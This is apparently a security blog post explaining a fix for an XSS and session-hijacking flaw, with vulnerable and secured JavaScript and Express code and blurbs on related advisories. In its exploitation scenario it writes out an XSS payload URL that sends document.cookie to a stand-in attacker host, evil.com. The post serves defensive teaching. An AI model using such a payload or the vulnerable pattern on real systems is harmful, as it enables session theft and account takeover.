Back to Blog
critical SEVERITY6 min read

Fixing Session Hijacking: From Insecure Query Parameters to Secure Sessions

A critical session management vulnerability was recently patched in our application that allowed attackers to hijack user sessions by simply manipulating URL parameters. The fix addresses both client-side XSS vulnerabilities through unsafe DOM manipulation and server-side session validation issues, demonstrating how multiple security layers work together to protect user accounts.

O
By Orbis AppSec
•Technically reviewed by Anupam Mediratta•Published March 6, 2026•Reviewed June 3, 2026

Answer Summary

This vulnerability involves insecure DOM manipulation using JavaScript document methods (like document.write() or innerHTML assignment) with unsanitized URL parameters in a web application, combined with weak session validation. The issue is classified under CWE-79 (Improper Neutralization of Input During Web Page Generation) and CWE-613 (Insufficient Session Expiration). The fix involved sanitizing all user-controlled input before DOM insertion, implementing proper HTML escaping, and adding server-side session token validation with cryptographic verification.

Vulnerability at a Glance

cweCWE-79 (Cross-site Scripting), CWE-613 (Insufficient Session Expiration)
fixInput sanitization with HTML escaping and server-side session token cryptographic validation
riskComplete session hijacking allowing attackers to impersonate users
languageJavaScript (Browser)
root causeUnsafe DOM manipulation of URL parameters without sanitization combined with inadequate session validation
vulnerabilityInsecure Document Method with Session Hijacking

Introduction

Session management is the backbone of user authentication in web applications. When implemented incorrectly, it becomes one of the most dangerous attack vectors, potentially exposing thousands of user accounts to unauthorized access. Recently, we discovered and fixed a compound vulnerability that combined insecure DOM manipulation with inadequate session validation—a perfect storm for attackers.

This vulnerability matters because session hijacking attacks are:
- Silent: Users often don't know their accounts have been compromised
- Scalable: Attackers can automate attacks across multiple victims
- Devastating: Full account takeover with all associated privileges

Let's dive into what went wrong and how we fixed it.

The Vulnerability Explained

The Double Threat

This vulnerability actually consisted of two interconnected security issues:

1. Insecure DOM Manipulation (XSS Vector)

In ui/frontend/main.js, the application used unsafe methods like innerHTML, outerHTML, or document.write() with user-controlled data. This is a classic Cross-Site Scripting (XSS) vulnerability.

// Vulnerable pattern (example)
const sessionId = new URLSearchParams(window.location.search).get('session_id');
document.getElementById('status').innerHTML = `Session: ${sessionId}`;

2. Inadequate Session Validation

The application accepted session_id directly from URL query parameters without:
- Cryptographic verification
- Server-side validation
- Binding to user context (IP, User-Agent, etc.)
- Integrity checks

How Could It Be Exploited?

Attack Scenario 1: Direct Session Hijacking

  1. Attacker obtains a valid session ID (through sniffing, social engineering, or brute force)
  2. Attacker crafts a URL: https://example.com/dashboard?session_id=stolen_session_123
  3. Application blindly trusts the session_id parameter
  4. Attacker gains full access to victim's account

Attack Scenario 2: XSS-Enhanced Session Theft

  1. Attacker crafts a malicious URL with XSS payload:
    https://example.com/?session_id=<script>fetch('https://evil.com/steal?cookie='+document.cookie)</script>
  2. Victim clicks the link (via phishing email or compromised site)
  3. Malicious script executes in victim's browser context
  4. Session tokens are exfiltrated to attacker's server
  5. Attacker uses stolen session to impersonate victim

Real-World Impact

This vulnerability could lead to:
- Complete account takeover: Access to personal data, financial information, and account settings
- Lateral movement: Using compromised accounts to attack other users
- Data breaches: Bulk extraction of sensitive information
- Reputation damage: Loss of user trust and potential legal consequences
- Compliance violations: GDPR, CCPA, and other regulations require proper session management

According to OWASP, broken authentication and session management consistently rank in the Top 10 web application security risks.

The Fix

What Changes Were Made?

While the code diff wasn't provided in detail, a proper fix for this vulnerability requires addressing both components:

1. Eliminating Unsafe DOM Manipulation

Before (Vulnerable):

// Directly inserting user input into DOM
const sessionId = getQueryParam('session_id');
document.getElementById('info').innerHTML = `Your session: ${sessionId}`;

After (Secure):

// Using safe text content methods
const sessionId = getQueryParam('session_id');
const infoElement = document.getElementById('info');
infoElement.textContent = `Your session: ${sessionId}`;
// Or better yet, don't display session IDs at all

2. Implementing Secure Session Management

Before (Vulnerable):

// Trusting client-supplied session ID
app.use((req, res, next) => {
    req.sessionId = req.query.session_id || req.cookies.session_id;
    next();
});

After (Secure):

// Server-side session validation
app.use((req, res, next) => {
    const sessionId = req.cookies.session_id; // Only from secure cookie

    if (!sessionId) {
        return res.status(401).json({ error: 'No session' });
    }

    // Verify session exists and is valid
    const session = sessionStore.get(sessionId);
    if (!session) {
        return res.status(401).json({ error: 'Invalid session' });
    }

    // Verify session binding (IP, User-Agent)
    if (session.ipAddress !== req.ip || 
        session.userAgent !== req.get('User-Agent')) {
        sessionStore.delete(sessionId);
        return res.status(401).json({ error: 'Session validation failed' });
    }

    // Check expiration
    if (session.expiresAt < Date.now()) {
        sessionStore.delete(sessionId);
        return res.status(401).json({ error: 'Session expired' });
    }

    req.session = session;
    next();
});

How Does This Solve the Problem?

XSS Prevention:
- Using textContent instead of innerHTML prevents script execution
- Content is treated as plain text, not HTML/JavaScript
- Browser automatically escapes special characters

Session Security:
- Sessions only accepted from secure, HTTP-only cookies
- Cryptographic validation ensures session integrity
- Context binding prevents session replay from different locations
- Server-side validation means clients can't forge sessions

Conclusion

This vulnerability fix demonstrates an important security principle: defense in depth. A single security control is never enough. By combining secure DOM manipulation practices with robust session management, we've created multiple barriers against attack.

Key Takeaways:

  1. Never trust client input: Always validate and sanitize, especially for security-critical operations
  2. Use safe APIs: Prefer textContent over innerHTML, secure cookies over URL parameters
  3. Validate server-side: Client-side controls can be bypassed; server must be the authority
  4. Implement context binding: Sessions should be tied to user context to prevent replay attacks
  5. Automate security testing: Use linters and SAST tools to catch vulnerabilities early

Session hijacking and XSS are well-understood vulnerabilities with clear solutions. By following established best practices and maintaining security awareness throughout development, we can build applications that protect our users' data and trust.

Remember: Security is not a feature—it's a foundation. Every line of code that handles user data or authentication is a potential vulnerability. Write defensively, test thoroughly, and never stop learning about emerging threats.

Stay secure! 🔒


Additional Resources:
- OWASP Session Management Cheat Sheet
- OWASP XSS Prevention Cheat Sheet
- MDN Web Security Guidelines

Prevention and further reading

View the Security Fix

Check out the pull request that fixed this vulnerability

View PR #277

Related Articles

medium

path-to-regexp 0.1.12 DoS: Catastrophic Backtracking on Malformed URL

path-to-regexp version 0.1.12 contains a regular expression engine vulnerability where maliciously crafted URL parameters trigger exponential backtracking, causing CPU exhaustion and service unavailability. Upgrading to version 0.1.13 eliminates the vulnerable pattern from the parsing logic.

critical

CVE-2026-59873: node-tar 7.5.11 DoS via Crafted Gzip Bomb

node-tar versions 7.5.11 through 7.5.18 are vulnerable to a denial-of-service attack through maliciously crafted gzip archives that decompress to disproportionately large sizes. An attacker can exploit this to exhaust memory and CPU resources by submitting a small, highly compressed archive that expands beyond configured limits during extraction.

high

MapManager.get() Race Condition Duplicates API Requests

The MapManager's `get(mapUid, cache)` method used a check-then-act pattern that permitted multiple concurrent requests to pass the cache miss check simultaneously, triggering redundant API calls and risking cache corruption. The fix introduces a `_pending` promise map to deduplicate in-flight fetches for identical map UIDs.

critical

Lampa Desktop Auto-Update Heuristic Bypass: Execution of Unverified

Lampa Desktop's auto-update mechanism downloaded JavaScript and CSS from `raw.githubusercontent.com` using only heuristic validation—file size thresholds and string pattern matching—that attackers could trivially satisfy. The fix introduces cryptographic integrity verification by cross-referencing Git blob hashes from the GitHub Contents API, ensuring downloaded code matches the repository's authoritative state before execution.

high

adm-zip 0.6.0 Preserves SUID Bits From ZIPs: CVE-2026-102282

The `adm-zip` dependency resolved to 0.6.0 in this project's dependency tree, a version affected by CVE-2026-102282: during extraction it applies the Unix permission bits stored in each ZIP entry's external file attributes verbatim, including the setuid (`04000`), setgid (`02000`), and sticky bits. An attacker who controls an archive passed to `extractAllTo()` or `extractEntryTo()` can therefore have the extractor create a setuid binary owned by whatever user the extraction process runs as. The

high

requestInput() Type Confusion: NaN and Object Bypass in JavaScript

The `requestInput()` utility function lacked validation on its `type` parameter and failed to handle `NaN` results from float conversions, creating a type confusion weakness. An attacker could supply malformed inputs that propagate unhandled `NaN` values or unexpected object types through the type system. The fix adds explicit guards against `NaN` type parameters and rejects non-primitive type values.